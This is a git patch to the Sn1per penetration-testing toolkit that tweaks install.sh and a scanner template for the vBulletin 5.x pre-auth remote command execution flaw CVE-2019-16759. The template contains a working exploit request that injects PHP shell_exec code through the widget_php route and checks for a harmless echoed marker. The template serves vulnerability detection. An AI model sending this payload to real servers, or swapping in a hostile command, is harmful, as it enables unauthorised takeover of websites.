From 077b93b400900ca71759f065544473852e05fb7b Mon Sep 17 00:00:00 2001 From: "@xer0dayz" <1n3@hushmail.com> Date: Mon, 8 Jun 2020 09:33:33 -0700 Subject: [PATCH] Sn1per Community Edition by @xer0dayz - https://xerosecurity.com --- install.sh | 2 +- ...9_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/install.sh b/install.sh index c3cd2e9..2e91126 100755 --- a/install.sh +++ b/install.sh @@ -152,7 +152,7 @@ GO111MODULE=on go get -u github.com/theblackturtle/fprobe; ln -s ~/go/bin/fprobe go get github.com/harleo/asnip ln -s ~/go/bin/asnip /usr/bin/asnip 2>/dev/null GO111MODULE=on go get -u -v github.com/lc/gau -ln -s /root/go/bin/gau /usr/bin/gau2 +ln -s /root/go/bin/gau /usr/bin/gau2 2> /dev/null rm -Rf ~/go/src/amass* wget https://github.com/OWASP/Amass/releases/download/v3.5.4/amass_v3.5.4_linux_amd64.zip -O ~/go/src/amass.zip cd ~/go/src/ diff --git a/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh b/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh index b40969a..f4fdf8b 100644 --- a/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh +++ b/templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh @@ -4,6 +4,6 @@ URI='/' METHOD='POST' MATCH='1337' SEVERITY='P1 - CRITICAL' -CURL_OPTS="-d 'routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1336))%27%29%3B+exit%3B' -H 'Content-Type: application/x-www-form-urlencoded' --user-agent '' -s -L --insecure" +CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1336))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure' SECONDARY_COMMANDS='' GREP_OPTIONS='-i' \ No newline at end of file